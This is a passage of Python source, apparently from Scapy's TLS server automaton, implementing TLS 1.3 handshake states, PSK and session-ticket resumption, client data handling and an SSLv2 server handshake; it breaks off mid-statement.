\"ECDSA\"\n        elif isinstance(self.mykey, PrivKeyEdDSA):\n            kx = \"\"\n        usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx)\n        c = usable_suites[0]\n        ext = [TLS_Ext_SupportedVersion_SH(version=\"TLS 1.3\"),\n               TLS_Ext_KeyShare_HRR(selected_group=_tls_named_groups[self.curve])]  # noqa: E501\n        if self.cookie:\n            ext += TLS_Ext_Cookie()\n        p = TLS13HelloRetryRequest(cipher=c, ext=ext)\n        self.add_msg(p)\n        self.flush_records()\n        raise self.tls13_HANDLED_HELLORETRYREQUEST()\n\n    @ATMT.state()\n    def tls13_HANDLED_HELLORETRYREQUEST(self):\n        pass\n\n    @ATMT.condition(tls13_HANDLED_HELLORETRYREQUEST)\n    def tls13_should_add_ServerHello_from_HRR(self):\n        raise self.WAITING_CLIENTFLIGHT1()\n\n    @ATMT.state()\n    def tls13_PREPARE_SERVERFLIGHT1(self):\n        self.add_record(is_tls13=False)\n\n    def verify_psk_binder(self, psk_identity, obfuscated_age, binder):\n        \"\"\"\n        This function verifies the binder received in the 'pre_shared_key'\n        extension and return the resumption PSK associated with those\n        values.\n\n        The arguments psk_identity, obfuscated_age and binder are taken\n        from 'pre_shared_key' in the ClientHello.\n        \"\"\"\n        with open(self.session_ticket_file, \"rb\") as f:\n            for line in f:\n                s = line.strip().split(b';')\n                if len(s) < 8:\n                    continue\n                ticket_label = binascii.unhexlify(s[0])\n                ticket_nonce = binascii.unhexlify(s[1])\n                tmp = binascii.unhexlify(s[2])\n                ticket_lifetime = struct.unpack(\"!I\", tmp)[0]\n                tmp = binascii.unhexlify(s[3])\n                ticket_age_add = struct.unpack(\"!I\", tmp)[0]\n                tmp = binascii.unhexlify(s[4])\n                ticket_start_time = struct.unpack(\"!I\", tmp)[0]\n                resumption_secret = binascii.unhexlify(s[5])\n                tmp = binascii.unhexlify(s[6])\n                res_ciphersuite = struct.unpack(\"!H\", tmp)[0]\n                tmp = binascii.unhexlify(s[7])\n                max_early_data_size = struct.unpack(\"!I\", tmp)[0]\n\n                # Here psk_identity is a Ticket type but ticket_label is bytes,\n                # we need to convert psk_identiy to bytes in order to compare\n                # both strings\n                if psk_identity.__bytes__() == ticket_label:\n\n                    # We compute the resumed PSK associated the resumption\n                    # secret\n                    self.vprint(\"Ticket found in database !\")\n                    if res_ciphersuite not in _tls_cipher_suites_cls:\n                        warning(\"Unknown cipher suite %d\", res_ciphersuite)\n                        # we do not try to set a default nor stop the execution\n                    else:\n                        cs_cls = _tls_cipher_suites_cls[res_ciphersuite]\n\n                    hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower())\n                    hash_len = hkdf.hash.digest_size\n\n                    tls13_psk_secret = hkdf.expand_label(resumption_secret,\n                                                         b\"resumption\",\n                                                         ticket_nonce,\n                                                         hash_len)\n                    # We verify that ticket age is not expired\n                    agesec = int((time.time() - ticket_start_time))\n                    # agems = agesec * 1000\n                    ticket_age = (obfuscated_age - ticket_age_add) % 0xffffffff  # noqa: F841, E501\n\n                    # We verify the PSK binder\n                    s = self.cur_session\n                    if s.tls13_retry:\n                        handshake_context = struct.pack(\"B\", 254)\n                        handshake_context += struct.pack(\"B\", 0)\n                        handshake_context += struct.pack(\"B\", 0)\n                        handshake_context += struct.pack(\"B\", hash_len)\n                        digest = hashes.Hash(hkdf.hash, backend=default_backend())  # noqa: E501\n                        digest.update(s.handshake_messages[0])\n                        handshake_context += digest.finalize()\n                        for m in s.handshake_messages[1:]:\n                            if (isinstance(TLS13ClientHello) or\n                                    isinstance(TLSClientHello)):\n                                handshake_context += m[:-hash_len - 3]\n                            else:\n                                handshake_context += m\n                    else:\n                        handshake_context = s.handshake_messages[0][:-hash_len - 3]  # noqa: E501\n\n                    # We compute the binder key\n                    # XXX use the compute_tls13_early_secrets() function\n                    tls13_early_secret = hkdf.extract(None, tls13_psk_secret)\n                    binder_key = hkdf.derive_secret(tls13_early_secret,\n                                                    b\"res binder\",\n                                                    b\"\")\n                    computed_binder = hkdf.compute_verify_data(binder_key,\n                                                               handshake_context)  # noqa: E501\n                    if (agesec < ticket_lifetime and\n                            computed_binder == binder):\n                        self.vprint(\"Ticket has been accepted ! \")\n                        self.max_early_data_size = max_early_data_size\n                        self.resumed_ciphersuite = res_ciphersuite\n                        return tls13_psk_secret\n        self.vprint(\"Ticket has not been accepted ! Fallback to a complete handshake\")  # noqa: E501\n        return None\n\n    @ATMT.condition(tls13_PREPARE_SERVERFLIGHT1)\n    def tls13_should_add_ServerHello(self):\n\n        psk_identity = None\n        psk_key_exchange_mode = None\n        obfuscated_age = None\n        # XXX check ClientHello extensions...\n        for m in reversed(self.cur_session.handshake_messages_parsed):\n            if isinstance(m, (TLS13ClientHello, TLSClientHello)):\n                for e in m.ext:\n                    if isinstance(e, TLS_Ext_PreSharedKey_CH):\n                        psk_identity = e.identities[0].identity\n                        obfuscated_age = e.identities[0].obfuscated_ticket_age\n                        binder = e.binders[0].binder\n\n                        # For out-of-bound PSK, obfuscated_ticket_age should be\n                        # 0. We use this field to distinguish between out-of-\n                        # bound PSK and resumed PSK\n                        is_out_of_band_psk = (obfuscated_age == 0)\n\n                    if isinstance(e, TLS_Ext_PSKKeyExchangeModes):\n                        psk_key_exchange_mode = e.kxmodes[0]\n\n        if isinstance(self.mykey, PrivKeyRSA):\n            kx = \"RSA\"\n        elif isinstance(self.mykey, PrivKeyECDSA):\n            kx = \"ECDSA\"\n        elif isinstance(self.mykey, PrivKeyEdDSA):\n            kx = \"\"\n        usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx)\n        c = usable_suites[0]\n        group = next(iter(self.cur_session.tls13_client_pubshares))\n        ext = [TLS_Ext_SupportedVersion_SH(version=\"TLS 1.3\")]\n        if (psk_identity and obfuscated_age and psk_key_exchange_mode):\n            s = self.cur_session\n            if is_out_of_band_psk:\n                # Handshake with external PSK authentication\n                # XXX test that self.psk_secret is set\n                s.tls13_psk_secret = binascii.unhexlify(self.psk_secret)\n                # 0: \"psk_ke\"\n                # 1: \"psk_dhe_ke\"\n                if psk_key_exchange_mode == 1:\n                    server_kse = KeyShareEntry(group=group)\n                    ext += TLS_Ext_KeyShare_SH(server_share=server_kse)\n                ext += TLS_Ext_PreSharedKey_SH(selected_identity=0)\n            else:\n                resumption_psk = self.verify_psk_binder(psk_identity,\n                                                        obfuscated_age,\n                                                        binder)\n                if resumption_psk is None:\n                    # We did not find a ticket matching the one provided in the\n                    # ClientHello. We fallback to a regular 1-RTT handshake\n                    server_kse = KeyShareEntry(group=group)\n                    ext += [TLS_Ext_KeyShare_SH(server_share=server_kse)]\n                else:\n                    # 0: \"psk_ke\"\n                    # 1: \"psk_dhe_ke\"\n                    if psk_key_exchange_mode == 1:\n                        server_kse = KeyShareEntry(group=group)\n                        ext += [TLS_Ext_KeyShare_SH(server_share=server_kse)]\n\n                    ext += [TLS_Ext_PreSharedKey_SH(selected_identity=0)]\n                    self.cur_session.tls13_psk_secret = resumption_psk\n        else:\n            # Standard Handshake\n            ext += TLS_Ext_KeyShare_SH(server_share=KeyShareEntry(group=group))\n\n        if self.cur_session.sid is not None:\n            p = TLS13ServerHello(cipher=c, sid=self.cur_session.sid, ext=ext)\n        else:\n            p = TLS13ServerHello(cipher=c, ext=ext)\n        self.add_msg(p)\n        raise self.tls13_ADDED_SERVERHELLO()\n\n    @ATMT.state()\n    def tls13_ADDED_SERVERHELLO(self):\n        # If the client proposed a non-empty session ID in his ClientHello\n        # he requested the middlebox compatibility mode (RFC8446, appendix D.4)\n        # In this case, the server should send a dummy ChangeCipherSpec in\n        # between the ServerHello and the encrypted handshake messages\n        if self.cur_session.sid is not None:\n            self.add_record(is_tls12=True)\n            self.add_msg(TLSChangeCipherSpec())\n\n    @ATMT.condition(tls13_ADDED_SERVERHELLO)\n    def tls13_should_add_EncryptedExtensions(self):\n        self.add_record(is_tls13=True)\n        self.add_msg(TLSEncryptedExtensions(extlen=0))\n        raise self.tls13_ADDED_ENCRYPTEDEXTENSIONS()\n\n    @ATMT.state()\n    def tls13_ADDED_ENCRYPTEDEXTENSIONS(self):\n        pass\n\n    @ATMT.condition(tls13_ADDED_ENCRYPTEDEXTENSIONS)\n    def tls13_should_add_CertificateRequest(self):\n        if self.client_auth:\n            ext = [TLS_Ext_SignatureAlgorithms(sig_algs=[\"sha256+rsaepss\"])]\n            p = TLS13CertificateRequest(ext=ext)\n            self.add_msg(p)\n        raise self.tls13_ADDED_CERTIFICATEREQUEST()\n\n    @ATMT.state()\n    def tls13_ADDED_CERTIFICATEREQUEST(self):\n        pass\n\n    @ATMT.condition(tls13_ADDED_CERTIFICATEREQUEST)\n    def tls13_should_add_Certificate(self):\n        # If a PSK is set, an extension pre_shared_key\n        # was send in the ServerHello. No certificate should\n        # be send here\n        if not self.cur_session.tls13_psk_secret:\n            certs = []\n            for c in self.cur_session.server_certs:\n                certs += _ASN1CertAndExt(cert=c)\n\n            self.add_msg(TLS13Certificate(certs=certs))\n        raise self.tls13_ADDED_CERTIFICATE()\n\n    @ATMT.state()\n    def tls13_ADDED_CERTIFICATE(self):\n        pass\n\n    @ATMT.condition(tls13_ADDED_CERTIFICATE)\n    def tls13_should_add_CertificateVerifiy(self):\n        if not self.cur_session.tls13_psk_secret:\n            # If we have a preferred signature algorithm, and the client supports\n            # it, use that.\n            if self.cur_session.advertised_sig_algs:\n                usable_sigalgs = get_usable_tls13_sigalgs(\n                    self.cur_session.advertised_sig_algs,\n                    self.mykey,\n                    location=\"certificateverify\",\n                )\n                if not usable_sigalgs:\n                    self.vprint(\"No usable signature algorithm!\")\n                    raise self.CLOSE_NOTIFY()\n                pref_alg = self.preferred_signature_algorithm\n                if pref_alg in usable_sigalgs:\n                    self.cur_session.selected_sig_alg = pref_alg\n                else:\n                    self.cur_session.selected_sig_alg = usable_sigalgs[0]\n            self.add_msg(TLSCertificateVerify())\n        raise self.tls13_ADDED_CERTIFICATEVERIFY()\n\n    @ATMT.state()\n    def tls13_ADDED_CERTIFICATEVERIFY(self):\n        pass\n\n    @ATMT.condition(tls13_ADDED_CERTIFICATEVERIFY)\n    def tls13_should_add_Finished(self):\n        self.add_msg(TLSFinished())\n        raise self.tls13_ADDED_SERVERFINISHED()\n\n    @ATMT.state()\n    def tls13_ADDED_SERVERFINISHED(self):\n        pass\n\n    @ATMT.condition(tls13_ADDED_SERVERFINISHED)\n    def tls13_should_send_ServerFlight1(self):\n        self.flush_records()\n        raise self.tls13_WAITING_CLIENTFLIGHT2()\n\n    @ATMT.state()\n    def tls13_WAITING_CLIENTFLIGHT2(self):\n        self.get_next_msg()\n        raise self.tls13_RECEIVED_CLIENTFLIGHT2()\n\n    @ATMT.state()\n    def tls13_RECEIVED_CLIENTFLIGHT2(self):\n        pass\n\n    @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=1)\n    def tls13_should_handle_ClientFlight2(self):\n        self.raise_on_packet(TLS13Certificate,\n                             self.TLS13_HANDLED_CLIENTCERTIFICATE)\n\n    @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=2)\n    def tls13_should_handle_Alert_from_ClientCertificate(self):\n        self.raise_on_packet(TLSAlert,\n                             self.TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE)\n\n    @ATMT.state()\n    def TLS13_HANDLED_ALERT_FROM_CLIENTCERTIFICATE(self):\n        self.vprint(\"Received Alert message instead of ClientKeyExchange!\")\n        self.vprint(self.cur_pkt.mysummary())\n        raise self.CLOSE_NOTIFY()\n\n    # For Middlebox compatibility (see RFC8446, appendix D.4)\n    # a dummy ChangeCipherSpec record can be send. In this case,\n    # this function just read the ChangeCipherSpec message and\n    # go back in a previous state continuing with the next TLS 1.3\n    # record\n    @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=3)\n    def tls13_should_handle_ClientCCS(self):\n        self.raise_on_packet(TLSChangeCipherSpec,\n                             self.tls13_RECEIVED_CLIENTFLIGHT2)\n\n    @ATMT.condition(tls13_RECEIVED_CLIENTFLIGHT2, prio=4)\n    def tls13_no_ClientCertificate(self):\n        if self.client_auth:\n            raise self.TLS13_MISSING_CLIENTCERTIFICATE()\n        self.raise_on_packet(TLSFinished,\n                             self.TLS13_HANDLED_CLIENTFINISHED)\n\n    # RFC8446, section 4.4.2.4 :\n    # \"If the client does not send any certificates (i.e., it sends an empty\n    # Certificate message), the server MAY at its discretion either\n    # continue the handshake without client authentication or abort the\n    # handshake with a \"certificate_required\" alert.\"\n    # Here, we abort the handshake.\n    @ATMT.state()\n    def TLS13_HANDLED_CLIENTCERTIFICATE(self):\n        if self.client_auth:\n            self.vprint(\"Received client certificate chain...\")\n            if isinstance(self.cur_pkt, TLS13Certificate):\n                if self.cur_pkt.certslen == 0:\n                    self.vprint(\"but it's empty !\")\n                    raise self.TLS13_MISSING_CLIENTCERTIFICATE()\n\n    @ATMT.condition(TLS13_HANDLED_CLIENTCERTIFICATE)\n    def tls13_should_handle_ClientCertificateVerify(self):\n        self.raise_on_packet(TLSCertificateVerify,\n                             self.TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY)\n\n    @ATMT.condition(TLS13_HANDLED_CLIENTCERTIFICATE, prio=2)\n    def tls13_no_Client_CertificateVerify(self):\n        if self.client_auth:\n            raise self.TLS13_MISSING_CLIENTCERTIFICATE()\n        raise self.TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY()\n\n    @ATMT.state()\n    def TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY(self):\n        pass\n\n    @ATMT.condition(TLS13_HANDLED_CLIENT_CERTIFICATEVERIFY)\n    def tls13_should_handle_ClientFinished(self):\n        self.raise_on_packet(TLSFinished,\n                             self.TLS13_HANDLED_CLIENTFINISHED)\n\n    @ATMT.state()\n    def TLS13_MISSING_CLIENTCERTIFICATE(self):\n        self.vprint(\"Missing ClientCertificate!\")\n        self.add_record()\n        self.add_msg(TLSAlert(level=2, descr=0x74))\n        self.flush_records()\n        self.vprint(\"Sending TLSAlert 116\")\n        self.socket.close()\n        raise self.WAITING_CLIENT()\n\n    @ATMT.state()\n    def TLS13_HANDLED_CLIENTFINISHED(self):\n        self.vprint(\"TLS handshake completed!\")\n        self.vprint_sessioninfo()\n        if self.is_echo_server:\n            self.vprint(\"Will now act as a simple echo server.\")\n        raise self.WAITING_CLIENTDATA()\n\n    #                       end of TLS 1.3 handshake                          #\n\n    @ATMT.state()\n    def WAITING_CLIENTDATA(self):\n        self.get_next_msg(self.max_client_idle_time, 1)\n        raise self.RECEIVED_CLIENTDATA()\n\n    @ATMT.state()\n    def RECEIVED_CLIENTDATA(self):\n        pass\n\n    def save_ticket(self, ticket):\n        \"\"\"\n        This function save a ticket and others parameters in the\n        file given as argument to the automaton\n        Warning : The file is not protected and contains sensitive\n        information. It should be used only for testing purpose.\n        \"\"\"\n        if (not isinstance(ticket, TLS13NewSessionTicket) or\n                self.session_ticket_file is None):\n            return\n\n        s = self.cur_session\n        with open(self.session_ticket_file, \"ab\") as f:\n            # ticket;ticket_nonce;obfuscated_age;start_time;resumption_secret\n            line = binascii.hexlify(ticket.ticket)\n            line += b\";\"\n            line += binascii.hexlify(ticket.ticket_nonce)\n            line += b\";\"\n            line += binascii.hexlify(struct.pack(\"!I\", ticket.ticket_lifetime))\n            line += b\";\"\n            line += binascii.hexlify(struct.pack(\"!I\", ticket.ticket_age_add))\n            line += b\";\"\n            line += binascii.hexlify(struct.pack(\"!I\", int(time.time())))\n            line += b\";\"\n            line += binascii.hexlify(s.tls13_derived_secrets[\"resumption_secret\"])  # noqa: E501\n            line += b\";\"\n            line += binascii.hexlify(struct.pack(\"!H\", s.wcs.ciphersuite.val))\n            line += b\";\"\n            if (ticket.ext is None or ticket.extlen is None or\n                    ticket.extlen == 0):\n                line += binascii.hexlify(struct.pack(\"!I\", 0))\n            else:\n                for e in ticket.ext:\n                    if isinstance(e, TLS_Ext_EarlyDataIndicationTicket):\n                        max_size = struct.pack(\"!I\", e.max_early_data_size)\n                        line += binascii.hexlify(max_size)\n            line += b\"\\n\"\n            f.write(line)\n\n    @ATMT.condition(RECEIVED_CLIENTDATA)\n    def should_handle_ClientData(self):\n        if not self.buffer_in:\n            self.vprint(\"Client idle time maxed out.\")\n            raise self.CLOSE_NOTIFY()\n        p = self.buffer_in[0]\n        self.buffer_in = self.buffer_in[1:]\n\n        recv_data = b\"\"\n        if isinstance(p, TLSApplicationData):\n            print(\"> Received: %r\" % p.data)\n            recv_data = p.data\n            lines = recv_data.split(b\"\\n\")\n            for line in lines:\n                if line.startswith(b\"stop_server\"):\n                    raise self.CLOSE_NOTIFY_FINAL()\n        elif isinstance(p, TLSAlert):\n            print(\"> Received: %r\" % p)\n            raise self.CLOSE_NOTIFY()\n        elif isinstance(p, TLS13KeyUpdate):\n            print(\"> Received: %r\" % p)\n            p = TLS13KeyUpdate(request_update=0)\n            self.add_record()\n            self.add_msg(p)\n            raise self.ADDED_SERVERDATA()\n        else:\n            print(\"> Received: %r\" % p)\n\n        if recv_data.startswith(b\"GET / HTTP/1.1\"):\n            p = TLSApplicationData(data=self.http_sessioninfo())\n\n        if self.is_echo_server or recv_data.startswith(b\"GET / HTTP/1.1\"):\n            self.add_record()\n            self.add_msg(p)\n            if self.handle_session_ticket:\n                self.add_record()\n                ticket = TLS13NewSessionTicket(ext=[])\n                self.add_msg(ticket)\n            raise self.ADDED_SERVERDATA()\n\n        raise self.HANDLED_CLIENTDATA()\n\n    @ATMT.state()\n    def HANDLED_CLIENTDATA(self):\n        raise self.WAITING_CLIENTDATA()\n\n    @ATMT.state()\n    def ADDED_SERVERDATA(self):\n        pass\n\n    @ATMT.condition(ADDED_SERVERDATA)\n    def should_send_ServerData(self):\n        if self.session_ticket_file:\n            save_ticket = False\n            for p in self.buffer_out:\n                if isinstance(p, TLS13):\n                    # Check if there's a NewSessionTicket to send\n                    save_ticket = all(map(lambda x: isinstance(x, TLS13NewSessionTicket),  # noqa: E501\n                                          p.inner.msg))\n                    if save_ticket:\n                        break\n        self.flush_records()\n        if self.session_ticket_file and save_ticket:\n            # Loop backward in message send to retrieve the parsed\n            # NewSessionTicket. This message is not completely build before the\n            # flush_records() call. Other way to build this message before ?\n            for p in reversed(self.cur_session.handshake_messages_parsed):\n                if isinstance(p, TLS13NewSessionTicket):\n                    self.save_ticket(p)\n                    break\n        raise self.SENT_SERVERDATA()\n\n    @ATMT.state()\n    def SENT_SERVERDATA(self):\n        raise self.WAITING_CLIENTDATA()\n\n    @ATMT.state()\n    def CLOSE_NOTIFY(self):\n        self.vprint()\n        self.vprint(\"Sending a TLSAlert to the client...\")\n\n    @ATMT.condition(CLOSE_NOTIFY)\n    def close_session(self):\n        self.add_record()\n        self.add_msg(TLSAlert(level=1, descr=0))\n        try:\n            self.flush_records()\n        except Exception:\n            self.vprint(\"Could not send termination Alert, maybe the client left?\")  # noqa: E501\n            self.buffer_out = []\n        self.socket.close()\n        raise self.WAITING_CLIENT()\n\n    @ATMT.state()\n    def CLOSE_NOTIFY_FINAL(self):\n        self.vprint()\n        self.vprint(\"Sending a TLSAlert to the client...\")\n\n    @ATMT.condition(CLOSE_NOTIFY_FINAL)\n    def close_session_final(self):\n        self.add_record()\n        self.add_msg(TLSAlert(level=1, descr=0))\n        try:\n            self.flush_records()\n        except Exception:\n            self.vprint(\"Could not send termination Alert, maybe the client left?\")  # noqa: E501\n        # We might call shutdown, but unit tests with s_client fail with this\n        # self.socket.shutdown(1)\n        self.socket.close()\n        raise self.FINAL()\n\n    #                          SSLv2 handshake                                #\n\n    @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=2)\n    def sslv2_should_handle_ClientHello(self):\n        self.raise_on_packet(SSLv2ClientHello,\n                             self.SSLv2_HANDLED_CLIENTHELLO)\n\n    @ATMT.state()\n    def SSLv2_HANDLED_CLIENTHELLO(self):\n        pass\n\n    @ATMT.condition(SSLv2_HANDLED_CLIENTHELLO)\n    def sslv2_should_add_ServerHello(self):\n        self.add_record(is_sslv2=True)\n        cert = self.mycert\n        ciphers = [0x010080, 0x020080, 0x030080, 0x040080,\n                   0x050080, 0x060040, 0x0700C0]\n        connection_id = randstring(16)\n        p = SSLv2ServerHello(cert=cert,\n                             ciphers=ciphers,\n                             connection_id=connection_id)\n        self.add_msg(p)\n        raise self.SSLv2_ADDED_SERVERHELLO()\n\n    @ATMT.state()\n    def SSLv2_ADDED_SERVERHELLO(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_SERVERHELLO)\n    def sslv2_should_send_ServerHello(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_SERVERHELLO()\n\n    @ATMT.state()\n    def SSLv2_SENT_SERVERHELLO(self):\n        raise self.SSLv2_WAITING_CLIENTMASTERKEY()\n\n    @ATMT.state()\n    def SSLv2_WAITING_CLIENTMASTERKEY(self):\n        self.get_next_msg()\n        raise self.SSLv2_RECEIVED_CLIENTMASTERKEY()\n\n    @ATMT.state()\n    def SSLv2_RECEIVED_CLIENTMASTERKEY(self):\n        pass\n\n    @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=1)\n    def sslv2_should_handle_ClientMasterKey(self):\n        self.raise_on_packet(SSLv2ClientMasterKey,\n                             self.SSLv2_HANDLED_CLIENTMASTERKEY)\n\n    @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=2)\n    def missing_ClientMasterKey(self):\n        raise self.SSLv2_MISSING_CLIENTMASTERKEY()\n\n    @ATMT.state()\n    def SSLv2_MISSING_CLIENTMASTERKEY(self):\n        self.vprint(\"Missing SSLv2 ClientMasterKey!\")\n        raise self.SSLv2_CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def SSLv2_HANDLED_CLIENTMASTERKEY(self):\n        raise self.SSLv2_RECEIVED_CLIENTFINISHED()\n\n    @ATMT.state()\n    def SSLv2_RECEIVED_CLIENTFINISHED(self):\n        pass\n\n    @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=1)\n    def sslv2_should_handle_ClientFinished(self):\n        self.raise_on_packet(SSLv2ClientFinished,\n                             self.SSLv2_HANDLED_CLIENTFINISHED)\n\n    @ATMT.state()\n    def SSLv2_HANDLED_CLIENTFINISHED(self):\n        pass\n\n    @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=1)\n    def sslv2_should_add_ServerVerify_from_ClientFinished(self):\n        if self.in_handshake(SSLv2ServerVerify):\n            return\n        self.add_record(is_sslv2=True)\n        p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge)\n        self.add_msg(p)\n        raise self.SSLv2_ADDED_SERVERVERIFY()\n\n    @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=2)\n    def sslv2_should_add_ServerVerify_from_NoClientFinished(self):\n        if self.in_handshake(SSLv2ServerVerify):\n            return\n        self.add_record(is_sslv2=True)\n        p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge)\n        self.add_msg(p)\n        raise self.SSLv2_ADDED_SERVERVERIFY()\n\n    @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=3)\n    def sslv2_missing_ClientFinished(self):\n        raise self.SSLv2_MISSING_CLIENTFINISHED()\n\n    @ATMT.state()\n    def SSLv2_MISSING_CLIENTFINISHED(self):\n        self.vprint(\"Missing SSLv2 ClientFinished!\")\n        raise self.SSLv2_CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def SSLv2_ADDED_SERVERVERIFY(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_SERVERVERIFY)\n    def sslv2_should_send_ServerVerify(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_SERVERVERIFY()\n\n    @ATMT.state()\n    def SSLv2_SENT_SERVERVERIFY(self):\n        if self.in_handshake(SSLv2ClientFinished):\n            raise self.SSLv2_HANDLED_CLIENTFINISHED()\n        else:\n            raise self.SSLv2_RECEIVED_CLIENTFINISHED()\n\n    #                       SSLv2 client authentication                       #\n\n    @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=2)\n    def sslv2_should_add_RequestCertificate(self):\n        if not self.client_auth or self.in_handshake(SSLv2RequestCertificate):\n            return\n        self.add_record(is_sslv2=True)\n        self.add_msg(SSLv2RequestCertificate(challenge=randstring(16)))\n        raise self.SSLv2_ADDED_REQUESTCERTIFICATE()\n\n    @ATMT.state()\n    def SSLv2_ADDED_REQUESTCERTIFICATE(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_REQUESTCERTIFICATE)\n    def sslv2_should_send_RequestCertificate(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_REQUESTCERTIFICATE()\n\n    @ATMT.state()\n    def SSLv2_SENT_REQUESTCERTIFICATE(self):\n        raise self.SSLv2_WAITING_CLIENTCERTIFICATE()\n\n    @ATMT.state()\n    def SSLv2_WAITING_CLIENTCERTIFICATE(self):\n        self.get_next_msg()\n        raise self.SSLv2_RECEIVED_CLIENTCERTIFICATE()\n\n    @ATMT.state()\n    def SSLv2_RECEIVED_CLIENTCERTIFICATE(self):\n        pass\n\n    @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=1)\n    def sslv2_should_handle_ClientCertificate(self):\n        self.raise_on_packet(SSLv2ClientCertificate,\n                             self.SSLv2_HANDLED_CLIENTCERTIFICATE)\n\n    @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=2)\n    def sslv2_missing_ClientCertificate(self):\n        raise self.SSLv2_MISSING_CLIENTCERTIFICATE()\n\n    @ATMT.state()\n    def SSLv2_MISSING_CLIENTCERTIFICATE(self):\n        self.vprint(\"Missing SSLv2 ClientCertificate!\")\n        raise self.SSLv2_CLOSE_NOTIFY()\n\n    @ATMT.state()\n    def SSLv2_HANDLED_CLIENTCERTIFICATE(self):\n        self.vprint(\"Received client certificate...\")\n        # We could care about the client CA, but we don't.\n        raise self.SSLv2_HANDLED_CLIENTFINISHED()\n\n    #                   end of SSLv2 client authentication                    #\n\n    @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=3)\n    def sslv2_should_add_ServerFinished(self):\n        self.add_record(is_sslv2=True)\n        self.add_msg(SSLv2ServerFinished(sid=randstring(16)))\n        raise self.SSLv2_ADDED_SERVERFINISHED()\n\n    @ATMT.state()\n    def SSLv2_ADDED_SERVERFINISHED(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_SERVERFINISHED)\n    def sslv2_should_send_ServerFinished(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_SERVERFINISHED()\n\n    @ATMT.state()\n    def SSLv2_SENT_SERVERFINISHED(self):\n        self.vprint(\"SSLv2 handshake completed!\")\n        self.vprint_sessioninfo()\n        if self.is_echo_server:\n            self.vprint(\"Will now act as a simple echo server.\")\n        raise self.SSLv2_WAITING_CLIENTDATA()\n\n    #                        end of SSLv2 handshake                           #\n\n    @ATMT.state()\n    def SSLv2_WAITING_CLIENTDATA(self):\n        self.get_next_msg(self.max_client_idle_time, 1)\n        raise self.SSLv2_RECEIVED_CLIENTDATA()\n\n    @ATMT.state()\n    def SSLv2_RECEIVED_CLIENTDATA(self):\n        pass\n\n    @ATMT.condition(SSLv2_RECEIVED_CLIENTDATA)\n    def sslv2_should_handle_ClientData(self):\n        if not self.buffer_in:\n            self.vprint(\"Client idle time maxed out.\")\n            raise self.SSLv2_CLOSE_NOTIFY()\n        p = self.buffer_in[0]\n        self.buffer_in = self.buffer_in[1:]\n        if hasattr(p, \"load\"):\n            cli_data = p.load\n            print(\"> Received: %r\" % cli_data)\n            if cli_data.startswith(b\"goodbye\"):\n                self.vprint()\n                self.vprint(\"Seems like the client left...\")\n                raise self.WAITING_CLIENT()\n        else:\n            cli_data = str(p)\n            print(\"> Received: %r\" % p)\n\n        lines = cli_data.split(b\"\\n\")\n        for line in lines:\n            if line.startswith(b\"stop_server\"):\n                raise self.SSLv2_CLOSE_NOTIFY_FINAL()\n\n        if cli_data.startswith(b\"GET / HTTP/1.1\"):\n            p = Raw(self.http_sessioninfo())\n\n        if self.is_echo_server or cli_data.startswith(b\"GET / HTTP/1.1\"):\n            self.add_record(is_sslv2=True)\n            self.add_msg(p)\n            raise self.SSLv2_ADDED_SERVERDATA()\n\n        raise self.SSLv2_HANDLED_CLIENTDATA()\n\n    @ATMT.state()\n    def SSLv2_HANDLED_CLIENTDATA(self):\n        raise self.SSLv2_WAITING_CLIENTDATA()\n\n    @ATMT.state()\n    def SSLv2_ADDED_SERVERDATA(self):\n        pass\n\n    @ATMT.condition(SSLv2_ADDED_SERVERDATA)\n    def sslv2_should_send_ServerData(self):\n        self.flush_records()\n        raise self.SSLv2_SENT_SERVERDATA()\n\n    @ATMT.state()\n    def SSLv2_SENT_SERVERDATA(self):\n        raise self.SSLv2_WAITING_CLIENTDATA()\n\n    @ATMT.state()\n    def SSLv2_CLOSE_NOTIFY(self):\n        \"\"\"\n        There is no proper way to end an SSLv2 session.\n        We try and send a 'goodbye' message as a substitute.\n        \"\"\"\n        self.vprint()\n        self.vprint(\"Trying to send 'goodbye' to the client...\")\n\n    @ATMT.condition(SSLv2_CLOSE_NOTIFY)\n    def sslv2_close_session(self):\n        self.add_record()\n        self.add_msg(Raw('goodbye'))\n        try:\n            self.flush_records()\n        except Exception:\n            self.vprint(\"Could not send our goodbye. The client probably left.\")  # noqa: E501\n            self.buffer_out = []\n        self.socket.close()\n        raise self.WAITING_CLIENT()\n\n    @ATMT.state()\n    def SSLv2_CLOSE_NOTIFY_FINAL(self):\n        \"\"\"\n        There is no proper way to end an SSLv2 session.\n        We try and send a 'goodbye' message as a substitute.\n        \"\"\"\n        self.vprint()\n        self.vprint(\"Trying to send 'goodbye' to the 